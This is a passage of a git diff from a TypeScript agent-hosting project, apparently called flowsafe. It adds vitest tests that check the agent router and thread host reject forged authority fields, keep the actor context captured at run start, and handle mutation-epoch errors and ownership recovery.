+      resolve: async () => source,
+      topology: fixture.host,
+    });
+    let enter = () => {};
+    let release = () => {};
+    const entered = new Promise<void>((resolve) => {
+      enter = resolve;
+    });
+    const held = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const body = new ReadableStream<Uint8Array>(
+      {
+        async pull(controller) {
+          enter();
+          await held;
+          controller.enqueue(new TextEncoder().encode('{"prompt":"original"}'));
+          controller.close();
+        },
+      },
+      { highWaterMark: 0 },
+    );
+    const request = new Request('https://host/agents/writer/runs', {
+      method: 'POST',
+      body,
+      duplex: 'half',
+    } as RequestInit & { duplex: 'half' });
+    const pending = router(request);
+    const outcome = pending.then(
+      () => false,
+      () => false,
+    );
+    const replacement = vi.fn(() => 'replacement');
+    try {
+      expect(await Promise.race([entered.then(() => true), outcome])).toBe(
+        true,
+      );
+      expect(start).not.toHaveBeenCalled();
+      Object.assign(source.actor, { id: 'replacement', role: 'viewer' });
+      Object.assign(source, {
+        principal: humanPrincipal({ id: 'replacement', role: 'viewer' }),
+        mutationEpoch: 3,
+        newRunId: replacement,
+        newThreadId: replacement,
+        resourceIdFromKey: replacement,
+      });
+    } finally {
+      release();
+      await outcome;
+    }
+    expect((await pending)?.status).toBe(200);
+    expect(start).toHaveBeenCalledOnce();
+    const captured = start.mock.calls[0]?.[0];
+    expect(captured).toMatchObject({
+      actor: { id: 'operator-1', role: 'operator' },
+      principal: originalPrincipal,
+      mutationEpoch: 2,
+    });
+    for (const name of methods)
+      expect(typeof captured?.[name]).toBe('function');
+    expect(fixture.hits).toHaveLength(1);
+    expect(fixture.hits[0]?.init?.headers).toMatchObject({
+      'x-flowsafe-mutation-epoch': '2',
+      'x-flowsafe-principal': JSON.stringify(originalPrincipal),
+    });
+    expect(JSON.parse(fixture.hits[0]?.init?.body ?? '{}')).toMatchObject({
+      runId: 'acme_run',
+      threadId: 'acme_thread',
+      resourceId: 'acme_resource',
+      agentId: 'writer',
+      prompt: 'original',
+    });
+    expect(replacement).not.toHaveBeenCalled();
+    expect(Object.isFrozen(source)).toBe(false);
+    expect(Object.isFrozen(source.actor)).toBe(false);
+  });
+
+  it.each([
+    'mutationEpoch',
+    'startIdentity',
+    'agentStart',
+    'execution',
+    'tablePrefix',
+    'startToken',
+    'attemptToken',
+    'runOwnerGuard',
+    'onPreparedStartIdentity',
+    'startReservation',
+  ])('C agent route refuses public authority field %s', async (field) => {
+    const host = topology();
+    const router = createAgentRouter({
+      agents,
+      resolve: async () => context(),
+      topology: host,
+    });
+    const response = await router(
+      new Request('https://host/agents/writer/runs', {
+        method: 'POST',
+        body: JSON.stringify({ prompt: 'go', [field]: 2 }),
+      }),
+    );
+    expect(response?.status).toBe(400);
+    expect(await response?.json()).toEqual({
+      error: `field '${field}' is not allowed`,
+    });
+    expect(host.start).not.toHaveBeenCalled();
+  });
+
+  it('FS8 D3 protected replay rejects a complete public start reservation', async () => {
+    const host = topology();
+    const router = createAgentRouter({
+      agents,
+      resolve: async () => context(),
+      topology: host,
+    });
+    const response = await router(
+      new Request('https://host/agents/writer/runs', {
+        method: 'POST',
+        body: JSON.stringify({
+          prompt: 'go',
+          startReservation: {
+            key: 'forged-key',
+            owner: { kind: 'human', id: 'operator' },
+            targetKind: 'agent',
+            targetId: 'writer',
+            threadId: 'thread',
+            runId: 'run',
+            state: 'started',
+            createdAt: 1,
+            updatedAt: 2,
+            binding: { kind: 'unbound' },
+          },
+        }),
+      }),
+    );
+    expect(response?.status).toBe(400);
+    expect(await response?.json()).toEqual({
+      error: "field 'startReservation' is not allowed",
+    });
+    expect(host.start).not.toHaveBeenCalled();
+  });
+
+  it('C agent route retains direct invalid-epoch error data', async () => {
+    const host = topology();
+    const source = { ...context(), mutationEpoch: -1 };
+    const router = createAgentRouter({
+      agents,
+      resolve: async () => source,
+      topology: host,
+    });
+    const response = await router(
+      new Request('https://host/agents/writer/runs', {
+        method: 'POST',
+        body: '{"prompt":"go"}',
+      }),
+    );
+    expect(response?.status).toBe(400);
+    expect(await response?.json()).toEqual({
+      error: 'mutationEpoch must be a nonnegative safe integer or undefined',
+      reason: { code: 'INVALID_MUTATION_EPOCH' },
+    });
+    expect(host.start).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'missing',
+    'stale',
+    'future',
+    'invalid',
+  ] as const)('C agent route retains complete encoded epoch refusals: %s', async (classification) => {
+    const error =
+      classification === 'invalid'
+        ? new InvalidMutationEpochError()
+        : new MutationEpochMismatchError(classification, 2);
+    const fixture = cAgentTopology(doErrorResponse(error));
+    const router = createAgentRouter({
+      agents,
+      resolve: async () => context(),
+      topology: fixture.host,
+    });
+    const response = await router(
+      new Request('https://host/agents/writer/runs', {
+        method: 'POST',
+        body: '{"prompt":"go"}',
+      }),
+    );
+    expect(response?.status).toBe(classification === 'invalid' ? 400 : 409);
+    expect(await response?.json()).toEqual(
+      classification === 'invalid'
+        ? {
+            error:
+              'mutationEpoch must be a nonnegative safe integer or undefined',
+            reason: { code: 'INVALID_MUTATION_EPOCH' },
+          }
+        : {
+            error: 'mutation epoch does not match the active deployment',
+            reason: {
+              code: 'MUTATION_EPOCH_MISMATCH',
+              classification,
+              mutationEpoch: 2,
+            },
+          },
+    );
+    expect(fixture.hits).toHaveLength(1);
+    expect(fixture.hits[0]?.init?.headers).not.toHaveProperty(
+      'x-flowsafe-mutation-epoch',
+    );
+  });
+});
+
 describe('createAgentRouter', () => {
   it('lists metadata and the authenticated actor for every role', async () => {
     const host = topology();
diff --git a/packages/flowsafe/src/agent-host/router.ts b/packages/flowsafe/src/agent-host/router.ts
index 47507d40..c5c0dd61 100644
--- a/packages/flowsafe/src/agent-host/router.ts
+++ b/packages/flowsafe/src/agent-host/router.ts
@@ -1,10 +1,15 @@
 // SPDX-License-Identifier: Apache-2.0
 
+import { captureActorContext } from '../approval-api/actor-context.js';
 import {
   ActorResolutionError,
   type ActorResolver,
   RUN_START_ROLES,
 } from '../approval-api/index.js';
+import {
+  InvalidMutationEpochError,
+  MutationEpochMismatchError,
+} from '../do-runner/execution-admission.js';
 import { isPathSafeId } from '../do-runner/index.js';
 import {
   RunRouteError,
@@ -184,6 +189,12 @@ function offsetFor(url: URL): number | Response {
 }
 
 function internalError(error: unknown, route: MatchedRoute): Response {
+  if (
+    error instanceof InvalidMutationEpochError ||
+    error instanceof MutationEpochMismatchError
+  ) {
+    return json({ error: error.message, reason: error.reason }, error.status);
+  }
   if (error instanceof ActorResolutionError) {
     return json({ error: 'forbidden' }, 403);
   }
@@ -221,8 +232,13 @@ export function createAgentRouter(options: AgentRouterOptions): AgentRouter {
     if (route.kind === 'not-found') return json({ error: 'not found' }, 404);
 
     try {
-      const context = await options.resolve(request);
-      if (!context) return json({ error: 'authentication required' }, 401);
+      const sourceContext = await options.resolve(request);
+      if (!sourceContext)
+        return json({ error: 'authentication required' }, 401);
+      const context =
+        route.kind === 'start' && request.method === route.allow
+          ? captureActorContext(sourceContext)
+          : sourceContext;
 
       if (route.kind === 'catalog') {
         if (request.method !== route.allow) {
diff --git a/packages/flowsafe/src/agent-host/thread-host.test.ts b/packages/flowsafe/src/agent-host/thread-host.test.ts
index 026accd7..95b3e402 100644
--- a/packages/flowsafe/src/agent-host/thread-host.test.ts
+++ b/packages/flowsafe/src/agent-host/thread-host.test.ts
@@ -2,16 +2,28 @@
 
 import type { MastraCompositeStore } from '@mastra/core/storage';
 import type { GuardedAgentHandle } from '@proofoftech/breakwater/agent';
-import { beforeEach, describe, expect, it, vi } from 'vitest';
+import { beforeEach, describe, expect, it, onTestFinished, vi } from 'vitest';
+import { z } from 'zod';
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import {
+  AgentRunSelectorMismatchError,
+  FlowsafeDurableAgent,
+} from '../agent-runner/durable-agent-runner.js';
 import {
   type ApprovalAuditEvent,
   type ApprovalRecord,
   type ApprovalService,
+  D1ResourceOwnershipStore,
   type ExecutionPrincipal,
   InMemoryResourceOwnershipStore,
   type RecoverableResourceOwnershipStore,
+  type ResourceOwnershipDatabase,
 } from '../approval-api/index.js';
+import {
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowAdmissionCapability,
+} from '../do-runner/fenced-workflow-capability.js';
+import type { FencedWorkflowsStorageD1 } from '../do-runner/fenced-workflows-d1.js';
 import type {
   InitResult,
   RequestContextProvider,
@@ -21,7 +33,11 @@ import type {
   ThreadScope,
 } from '../do-runner/index.js';
 import {
+  createD1Storage,
   doErrorResponse,
+  type ExecutionFenceDatabase,
+  ExecutionFenceStore,
+  init,
   RunStateUnreadableError,
   resourceIdFromKey,
   SUSPENSION_TIMEOUT_RESUME_KEY,
@@ -36,29 +52,41 @@ import {
   type AutomatedEntryAuthorizer,
   createThreadAgentHost,
   type PrincipalPermissionResolver,
+  type ThreadAgentStartInput,
 } from './thread-host.js';
+import { createAgentThreadTopology } from './thread-topology.js';
 import type { AgentAutomationRule, Permission } from './types.js';
 
 const mocked = vi.hoisted(() => ({
+  mastra: vi.fn(),
   stream: vi.fn(),
   resumeViaRuntime: vi.fn(),
   observe: vi.fn(),
   getHistory: vi.fn(),
+  isRunLive: vi.fn(),
+  actualFactory: false,
+  actualAgent: undefined as unknown,
 }));
 const RESOURCE_ID = resourceIdFromKey('acme_thread');
 const GUARDED_AGENT_HOST_PROTOCOL = Symbol.for(
   '@proofoftech/breakwater/guarded-agent-host/v1',
 );
 
-vi.mock('@proofoftech/breakwater/agent', () => ({
-  isGuardedAgentHandle: (value: unknown) =>
-    typeof value === 'object' &&
-    value !== null &&
-    (value as { guarded?: unknown }).guarded === true,
-}));
+vi.mock('@proofoftech/breakwater/agent', async (importOriginal) => {
+  const original =
+    await importOriginal<typeof import('@proofoftech/breakwater/agent')>();
+  return {
+    ...original,
+    isGuardedAgentHandle: (value: unknown) =>
+      typeof value === 'object' &&
+      value !== null &&
+      ((value as { guarded?: unknown }).guarded === true ||
+        original.isGuardedAgentHandle(value)),
+  };
+});
 
-vi.mock('@mastra/core/mastra', () => ({
-  Mastra: class {
+vi.mock('@mastra/core/mastra', () => {
+  class Mastra {
     readonly agentThreadStreamRuntime = {};
     readonly agents: Record<string, unknown>;
 
@@ -71,20 +99,73 @@ vi.mock('@mastra/core/mastra', () => ({
         (agent) => agent.id === id,
       );
     }
-  },
-}));
+  }
+  return {
+    Mastra: vi.fn(function MastraConstructor(options: {
+      agents: Record<string, unknown>;
+    }) {
+      return mocked.mastra(options) ?? new Mastra(options);
+    }),
+  };
+});
 
 vi.mock('../agent-runner/index.js', async (importOriginal) => {
   const original =
     await importOriginal<typeof import('../agent-runner/index.js')>();
   return {
     ...original,
-    createFlowsafeDurableAgent: () => {
+    createFlowsafeDurableAgent: (
+      configuration: Parameters<typeof original.createFlowsafeDurableAgent>[0],
+    ) => {
+      if (mocked.actualFactory)
+        return original.createFlowsafeDurableAgent(configuration);
       const runIds = new Set<string>();
       return {
+        getWorkflow: () => ({ id: 'durable-agentic-loop' }),
+        isRunLive: (runId: string) =>
+          mocked.isRunLive(configuration.agent.id, runId),
+        authoritativeAgentStartState: async (
+          expected: RunnerRuntime,
+          threadId: string,
+          runId: string,
+        ) => {
+          if (expected !== configuration.runtime)
+            throw new Error('runtime mismatch');
+          const state = await expected.authoritativeStartState(
+            'durable-agentic-loop',
+            runId,
+          );
+          if (!state) return null;
+          const identity = state.provenance.startIdentity;
+          if (identity?.target.kind !== 'agent')
+            throw new RunStateUnreadableError('durable-agentic-loop', runId);
+          if (
+            identity.target.id !== configuration.agent.id ||
+            identity.target.threadId !== threadId
+          )
+            throw new AgentRunSelectorMismatchError(
+              'durable-agentic-loop',
+              runId,
+            );
+          return {
+            ...state,
+            execution: { ...state.execution, ...identity },
+            threaded: state.provenance.agentStart?.threaded,
+          };
+        },
         streamUntilPersisted: async (...args: unknown[]) => {
           const options = args[1] as { runId?: string } | undefined;
           if (options?.runId) runIds.add(options.runId);
+          const authority = args[7] as
+            | import('../agent-runner/durable-agent-runner.js').AgentStartAuthority
+            | undefined;
+          if (configuration.runtime.constructor.name !== 'RunnerRuntime')
+            await authority?.onPreparedStartIdentity?.({
+              tablePrefix: null,
+              workflowId: 'durable-agentic-loop',
+              runId: options?.runId ?? '',
+              startToken: 'test-generation',
+            });
           return mocked.stream(...args);
         },
         resumeViaRuntime: async (...args: unknown[]) => {
@@ -138,6 +219,8 @@ function guarded(
   id = 'writer',
   automationKinds: readonly string[] = [],
 ): GuardedAgentHandle {
+  if (mocked.actualAgent && id === 'writer')
+    return mocked.actualAgent as GuardedAgentHandle;
   return {
     guarded: true,
     [GUARDED_AGENT_HOST_PROTOCOL]: {
@@ -162,6 +245,8 @@ function harness(
     approvalService?: ApprovalService;
     resourceAccess?: RecoverableResourceOwnershipStore;
     runtime?: Partial<RunnerRuntime>;
+    init?: InitResult;
+    storage?: MastraCompositeStore;
     discardScheduleDispatch?: (
       scheduleId: string,
       dispatchId: string,
@@ -228,11 +313,13 @@ function harness(
     };
   };
   setSnapshot();
-  const storage = {
-    getStore: async () => ({
-      loadWorkflowSnapshot: async () => snapshot,
-    }),
-  } as unknown as MastraCompositeStore;
+  const storage =
+    options.storage ??
+    ({
+      getStore: async () => ({
+        loadWorkflowSnapshot: async () => snapshot,
+      }),
+    } as unknown as MastraCompositeStore);
   const runtime = {
     status: vi.fn(async (_workflowId: string, runId: string) => {
       const started = mocked.stream.mock.calls.some(
@@ -241,12 +328,125 @@ function harness(
       if (!statusVisible && !started) return null;
       return summary ? { ...summary, runId } : null;
     }),
-    recoverStartAttempt: vi.fn(async (_workflowId: string, runId: string) => {
+    isRunActive: vi.fn(() => false),
+    workflowIds: vi.fn(() => []),
+    settleStartExecution: vi.fn(async () => {}),
+    authoritativeStartState: vi.fn(
+      async (_workflowId: string, runId: string) => {
+        const call = mocked.stream.mock.calls.find(
+          (call) => call[1]?.runId === runId,
+        );
+        if (options.runtime?.status) {
+          const override = await options.runtime.status(_workflowId, runId);
+          if (!override) return null;
+          summary = override;
+        }
+        const resumed = mocked.resumeViaRuntime.mock.settledResults.at(-1);
+        if (resumed?.type === 'fulfilled' && resumed.value?.runId === runId)
+          summary = resumed.value;
+        const terminated = vi.isMockFunction(
+          options.runtime?.terminateAsPrincipal,
+        )
+          ? options.runtime.terminateAsPrincipal.mock.settledResults.at(-1)
+          : undefined;
+        if (terminated?.type === 'fulfilled')
+          summary = terminated.value.summary;
+        if (!statusVisible && !call && !terminated) return null;
+        if (!summary) return null;
+        const authority = call?.[7] as
+          | import('../agent-runner/durable-agent-runner.js').AgentStartAuthority
+          | undefined;
+        const identity = authority?.startIdentity ?? {
+          owner: {
+            kind: options.principal?.kind ?? 'human',
+            id: options.principal?.id ?? 'operator-1',
+          },
+          target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+        };
+        const current = snapshot as {
+          requestContext: Record<string, unknown>;
+          context: {
+            input: {
+              agentId: string;
+              messageListState: { memoryInfo: unknown };
+            };
+          };
+        };
+        if (
+          (!call && current.context.input.agentId !== identity.target.id) ||
+          current.requestContext.threadId !== 'acme_thread' ||
+          current.requestContext.resourceId !== RESOURCE_ID
+        )
+          throw new RunStateUnreadableError('durable-agentic-loop', runId);
+        const threaded =
+          authority?.agentStart.threaded ??
+          current.context.input.messageListState.memoryInfo !== null;
+        const provenance = {
+          version: 2,
+          startToken: 'test-generation',
+          attemptToken: call?.[4] ?? `token-${runId}`,
+          resumeCounts: [],
+          startIdentity: identity,
+          agentStart: { threaded },
+        };
+        const lifecycle =
+          terminated?.type === 'fulfilled'
+            ? {
+                version: 1,
+                revision: terminated.value.cleanup.revision,
+                terminal: {
+                  status: terminated.value.cleanup.status,
+                  error: summary.errorEnvelope,
+                  transitionedAt: 1,
+                  replayPrincipals: [{ kind: 'human', id: 'operator-1' }],
+                  ...(terminated.value.cleanup.cleanupCompleted
+                    ? { cleanupCompletedAt: 2 }
+                    : {}),
+                },
+                ...(terminated.value.cleanup.scheduleDispatch
+                  ? {
+                      scheduleDispatch:
+                        terminated.value.cleanup.scheduleDispatch,
+                    }
+                  : {}),
+              }
+            : undefined;
+        return {
+          kind: summary.status === 'pending' ? 'initial' : 'result',
+          storage: 'unfenced',
+          execution: (
+            state.get(OWNER_RECOVERY_PREFIX + runId) as
+              | { execution?: unknown }
+              | undefined
+          )?.execution ?? {
+            tablePrefix: null,
+            workflowId: 'durable-agentic-loop',
+            runId,
+            startToken: 'test-generation',
+          },
+          provenance,
+          snapshot: {
+            ...current,
+            requestContext: {
+              ...current.requestContext,
+              'flowsafe.runProvenance': provenance,
+              ...(lifecycle ? { 'flowsafe.runLifecycle': lifecycle } : {}),
+            },
+          },
+          ...(summary.status === 'pending'
+            ? {}
+            : { summary: { ...summary, runId } }),
+        };
+      },
+    ),
+    recoverStartAttempt: vi.fn(async (execution: { runId: string }) => {
       const started = mocked.stream.mock.calls.some(
-        (call) => call[1]?.runId === runId,
+        (call) => call[1]?.runId === execution.runId,
       );
       if (!statusVisible && !started) return null;
-      return summary ? { ...summary, runId } : null;
+      return summary
+        ? { kind: 'ordinary', summary: { ...summary, runId: execution.runId } }
+        : null;
     }),
     ...options.runtime,
   } as unknown as RunnerRuntime;
@@ -257,10 +457,12 @@ function harness(
       id: 'operator-1',
       role: 'operator',
     },
-    init: {
-      runtime,
-      pubsub: undefined,
-    } as unknown as InitResult,
+    init:
+      options.init ??
+      ({
+        runtime,
+        pubsub: undefined,
+      } as unknown as InitResult),
   } satisfies ThreadScope;
   const moduleScopes: AgentThreadInstanceScope[] = [];
   const storageScopes: AgentThreadInstanceScope[] = [];
@@ -490,10 +692,14 @@ async function seedThreadlessSchedule(
 }
 
 beforeEach(() => {
+  mocked.mastra.mockReset();
+  mocked.actualFactory = false;
+  mocked.actualAgent = undefined;
   mocked.stream.mockReset().mockResolvedValue({});
   mocked.resumeViaRuntime.mockReset();
   mocked.observe.mockReset();
   mocked.getHistory.mockReset().mockResolvedValue([]);
+  mocked.isRunLive.mockReset().mockReturnValue(false);
 });
 
 const OWNER_RECOVERY_PREFIX = 'flowsafe:agent-owner-recovery:v1:';
@@ -507,7 +713,20 @@ function ownerRecovery(
   overrides: Record<string, unknown> = {},
 ): Record<string, unknown> {
   return {
-    version: 1,
+    version: 2,
+    phase: 'prepared',
+    execution: {
+      tablePrefix: '',
+      workflowId: 'durable-agentic-loop',
+      runId,
+      startToken: 'test-generation',
+    },
+    runRecord: {
+      version: 2,
+      agentId: 'writer',
+      principal: { kind: 'human', id: 'operator-1', role: 'operator' },
+      originEntryPath: 'http.start',
+    },
     agentId: 'writer',
     threadId: 'acme_thread',
     resourceId: RESOURCE_ID,
@@ -542,6 +761,666 @@ function seedRecoveryState(
   }
 }
 
+function cDeferred() {
+  let resolve = () => {};
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
+const C_START_INPUT: ThreadAgentStartInput = {
+  agentId: 'writer',
+  threadId: 'acme_thread',
+  resourceId: RESOURCE_ID,
+  runId: 'acme_run',
+  prompt: 'original',
+  entryPath: 'http.start',
+};
+
+function cObserved<T extends object>(
+  values: T,
+  mode: 'alternate' | 'second-throw' = 'second-throw',
+) {
+  const counts = new Map<keyof T, number>();
+  const source = {} as T;
+  for (const key of Object.keys(values) as Array<keyof T>) {
+    Object.defineProperty(source, key, {
+      enumerable: true,
+      configurable: true,
+      get() {
+        const count = (counts.get(key) ?? 0) + 1;
+        counts.set(key, count);
+        if (count > 1) {
+          if (mode === 'second-throw')
+            throw new Error(`second read: ${String(key)}`);
+          return 'replacement';
+        }
+        return values[key];
+      },
+    });
+  }
+  return { source, counts, values };
+}
+
+describe('C direct thread host capture', () => {
+  it.each(
+    [
+      'mutationEpoch',
+      'startIdentity',
+      'agentStart',
+      'execution',
+      'tablePrefix',
+      'startToken',
+      'attemptToken',
+      'runOwnerGuard',
+      'onPreparedStartIdentity',
+    ].flatMap((field) => [null, 2].map((value) => ({ field, value }))),
+  )('C thread host refuses internal JSON authority before effects ($field, $value)', async ({
+    field,
+    value,
+  }) => {
+    const fixture = harness();
+    const reserve = vi.spyOn(fixture.resourceAccess, 'reserveAll');
+    const error = await fixture.host
+      .route(
+        new Request('https://thread/_flowsafe/agent-host/start', {
+          method: 'POST',
+          headers: { 'content-type': 'application/json' },
+          body: JSON.stringify({ ...C_START_INPUT, [field]: value }),
+        }),
+        fixture.scope,
+      )
+      .catch((cause: unknown) => cause);
+    expect(error).toBeInstanceOf(Error);
+    const response = doErrorResponse(error);
+    expect(response.status).toBe(400);
+    expect(await response.json()).toEqual({
+      error: 'start owner and requester are derived from trusted provenance',
+    });
+    expect(reserve).not.toHaveBeenCalled();
+    expect(mocked.stream).not.toHaveBeenCalled();
+    expect(fixture.state.size).toBe(0);
+    expect(fixture.moduleScopes).toEqual([]);
+    expect(fixture.storageScopes).toEqual([]);
+    expect(
+      (
+        await fixture.host.route(
+          new Request('https://thread/_flowsafe/agent-host/start', {
+            method: 'POST',
+            body: JSON.stringify(C_START_INPUT),
+          }),
+          fixture.scope,
+        )
+      )?.status,
+    ).toBe(200);
+    expect(mocked.stream).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    'normal',
+    'failure',
+    'recovery',
+  ] as const)('FS8 D3 host activation agent preparation and ownership: %s', async (phase) => {
+    const core = await vi.importActual<typeof import('@mastra/core/mastra')>(
+      '@mastra/core/mastra',
+    );
+    mocked.mastra.mockImplementation(
+      (config: ConstructorParameters<typeof core.Mastra>[0]) =>
+        config?.workflows ? new core.Mastra(config) : undefined,
+    );
+    const sql = openSqlite() as ReturnType<typeof openSqlite> & {
+      close(): void;
+    };
+    const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase &
+      ResourceOwnershipDatabase;
+    const storage = createD1Storage({ binding });
+    await storage.init();
+    const fence = new ExecutionFenceStore(binding);
+    await fence.seed('open');
+    for (let index = 0; index < 2; index++) {
+      const before = await fence.read();
+      const draining = await fence.transition({
+        expected: 'open',
+        next: 'draining',
+        expectedMutationEpoch: before.mutationEpoch,
+        expectedRevision: before.transitionRevision,
+        advanceMutationEpoch: true,
+      });
+      await fence.transition({
+        expected: 'draining',
+        next: 'open',
+        expectedMutationEpoch: draining.mutationEpoch,
+        expectedRevision: draining.transitionRevision,
+      });
+    }
+    expect(await fence.read()).toMatchObject({
+      state: 'open',
+      mutationEpoch: 2,
+      requireMutationEpoch: true,
+    });
+    const failure = new Error('C thread provider failed');
+    const app = init(
+      { storage },
+      {
+        executionFence: fence,
+        startIdempotency: 'none',
+        requestContextForRun: () => {
+          if (phase === 'failure') throw failure;
+          return {};
+        },
+      },
+    );
+    const schema = z.object({
+      agentId: z.string(),
+      runId: z.string(),
+      messageListState: z.object({ memoryInfo: z.null() }),
+    });
+    app
+      .createWorkflow({
+        id: 'durable-agentic-loop',
+        inputSchema: schema,
+        outputSchema: schema,
+      })
+      .then(
+        app.createStep({
+          id: 'c-host-step',
+          inputSchema: schema,
+          outputSchema: schema,
+          execute: async ({ inputData }) => inputData,
+        }),
+      )
+      .commit();
+    const workflows = (await storage.getStore(
+      'workflows',
+    )) as FencedWorkflowsStorageD1;
+    const native = workflows[FENCED_WORKFLOW_STORAGE];
+    if (!native) throw new Error('missing managed owned workflow capability');
+    const counts = { admission: 0, terminalization: 0 };
+    const capability: FencedWorkflowAdmissionCapability = {
+      ...native,
+      withInitialAdmission: (input, create) => {
+        counts.admission++;
+        return native.withInitialAdmission(input, create);
+      },
+      terminalizeInitialAdmission: (input) => {
+        counts.terminalization++;
+        return native.terminalizeInitialAdmission(input);
+      },
+    };
+    Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, {
+      value: capability,
+      configurable: true,
+    });
+    const fixture = harness(['writer'], {
+      init: app,
+      storage,
+      resourceAccess: new D1ResourceOwnershipStore(
+        binding as ResourceOwnershipDatabase,
+      ),
+    });
+    Object.assign(fixture.scope, { mutationEpoch: 2 });
+    expect(fixture.scope.init.runtime).toBe(app.runtime);
+    const writes: Array<[string, unknown]> = [];
+    const put = fixture.stateStorage.put.bind(fixture.stateStorage);
+    vi.spyOn(fixture.stateStorage, 'put').mockImplementation(
+      async (key, value) => {
+        writes.push([key, structuredClone(value)]);
+        await put(key, value);
+      },
+    );
+    const settle = fixture.resourceAccess.settleReservation.bind(
+      fixture.resourceAccess,
+    );
+    if (phase === 'recovery')
+      vi.spyOn(
+        fixture.resourceAccess,
+        'settleReservation',
+      ).mockImplementationOnce(async (...args) => {
+        await settle(...args);
+        throw new Error('C lost thread settlement receipt');
+      });
+    mocked.stream.mockImplementation(
+      async (
+        ...args: Parameters<FlowsafeDurableAgent['streamUntilPersisted']>
+      ) => {
+        const [
+          ,
+          options,
+          requestedBy,
+          requestedByKind,
+          attemptToken,
+          scheduleDispatch,
+          idempotencyKey,
+          authority,
+        ] = args;
+        const runId = options.runId;
+        if (typeof runId !== 'string')
+          throw new Error('host omitted its runId');
+        await app.runtime.start('durable-agentic-loop', {
+          runId,
+          inputData: {
+            agentId: 'writer',
+            runId,
+            messageListState: { memoryInfo: null },
+          },
+          storedRequestContext: Object.fromEntries(
+            options.requestContext?.entries() ?? [],
+          ),
+          requestedBy,
+          requestedByKind,
+          attemptToken,
+          scheduleDispatch,
+          idempotencyKey,
+          mutationEpoch: authority.mutationEpoch,
+          startIdentity: authority.startIdentity,
+          agentStart: authority.agentStart,
+          onPreparedStartIdentity: authority.onPreparedStartIdentity,
+          runOwnerGuard: authority.runOwnerGuard,
+        });
+        return {};
+      },
+    );
+    try {
+      const pending = fixture.host.start(fixture.scope, {
+        ...C_START_INPUT,
+        threaded: false,
+      });
+      if (phase === 'failure') await expect(pending).rejects.toBe(failure);
+      else
+        expect(await pending).toMatchObject({ summary: { status: 'success' } });
+      expect(mocked.stream).toHaveBeenCalledOnce();
+      const args = mocked.stream.mock.calls[0];
+      expect(args).toHaveLength(8);
+      expect(args?.[7]).toHaveProperty(
+        'onPreparedStartIdentity',
+        expect.any(Function),
+      );
+      expect(Object.hasOwn(args?.[7], 'onPreparedStartIdentity')).toBe(true);
+      const journals = writes.filter(([key]) =>
+        key.startsWith('flowsafe:agent-owner-recovery'),
+      );
+      expect(journals).toHaveLength(phase === 'failure' ? 1 : 2);
+      expect(journals[0]?.[1]).toMatchObject({
+        version: 2,
+        phase: 'preparing',
+        token: args?.[4],
+        runRecord: { version: 2, principal: fixture.scope.principal },
+      });
+      if (phase !== 'failure')
+        expect(journals[1]?.[1]).toMatchObject({
+          phase: 'prepared',
+          execution: { startToken: expect.any(String) },
+        });
+      const snapshot = await workflows.loadWorkflowSnapshot({
+        workflowName: 'durable-agentic-loop',
+        runId: 'acme_run',
+      });
+      if (phase === 'failure') expect(snapshot).toBeNull();
+      else {
+        expect(
+          snapshot?.requestContext?.['flowsafe.runProvenance'],
+        ).toMatchObject({
+          version: 2,
+          requestedBy: 'operator-1',
+          requestedByKind: 'human',
+          startToken: expect.any(String),
+          attemptToken: args?.[4],
+          resumeCounts: [],
+        });
+        for (const key of [
+          'mutationEpoch',
+          'startIdentity',
+          'agentStart',
+          'execution',
+          'flowsafe.initialAdmission',
+        ])
+          expect(snapshot?.requestContext).not.toHaveProperty(key);
+        expect(writes).toContainEqual([
+          TEST_RUN_RECORD_KEY,
+          {
+            version: 2,
+            agentId: 'writer',
+            principal: fixture.scope.principal,
+            originEntryPath: 'http.start',
+          },
+        ]);
+      }
+      if (phase === 'recovery')
+        expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+      await fixture.host.recoverOwnership(fixture.scope);
+      expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+      expect(
+        writes.filter(([key]) =>
+          key.startsWith('flowsafe:agent-owner-recovery'),
+        ),
+      ).toEqual(journals);
+    } finally {
+      mocked.mastra.mockReset();
+      sql.close();
+      expect(counts).toEqual({
+        admission: phase === 'failure' ? 0 : 1,
+        terminalization: 0,
+      });
+    }
+  });
+
+  it.each([
+    ['human', true, 'authorize'],
+    ['human', false, 'authorize'],
+    ['service', false, 'source'],
+    ['system', false, 'source'],
+    ['service', true, 'authorize'],
+    ['system', true, 'authorize'],
+  ] as const)('C direct host keeps scope selectors and separate owners: %s threaded=%s at %s', async (kind, threaded, boundary) => {
+    const entered = cDeferred();
+    const release = cDeferred();
+    const principal: ExecutionPrincipal =
+      kind === 'human'
+        ? { kind, id: 'operator-1', role: 'operator' }
+        : { kind, id: `${kind}-starter`, purpose: 'schedule execution' };
+    const scheduled = kind !== 'human';
+    const entryPath = scheduled ? 'schedule.fire' : 'http.start';
+    const authorize = vi.fn(async () => {
+      if (boundary === 'authorize') {
+        entered.resolve();
+        await release.promise;
+      }
+      return { permissions: [], policyVersion: 'original' };
+    });
+    const fixture = harness(['writer'], {
+      principal,
+      allowedAutomation:
+        kind !== 'human'
+          ? [{ kind, entryPaths: ['schedule.fire'] }]
+          : undefined,
+      resolvePrincipalPermissions: authorize,
+    });
+    if (scheduled) {
+      if (threaded) {
+        await seedThreadedSchedule(
+          fixture,
+          HUMAN_OWNER,
+          SCHEDULE_ID,
+          DISPATCH_ID,
+          'acme_run',
+        );
+        fixture.state.set(THREAD_BINDING_KEY, {
+          version: 1,
+          agentId: 'writer',
+          resourceId: RESOURCE_ID,
+        });
+      } else await seedThreadlessSchedule(fixture);
+    }
+    const owner = { ...HUMAN_OWNER };
+    const nativeOwner = fixture.resourceAccess.owner.bind(
+      fixture.resourceAccess,
+    );
+    vi.spyOn(fixture.resourceAccess, 'owner').mockImplementation(
+      async (resourceKind, id) => {
+        if (resourceKind === 'schedule') {
+          if (boundary === 'source') {
+            entered.resolve();
+            await release.promise;
+          }
+          return owner;
+        }
+        return nativeOwner(resourceKind, id);
+      },
+    );
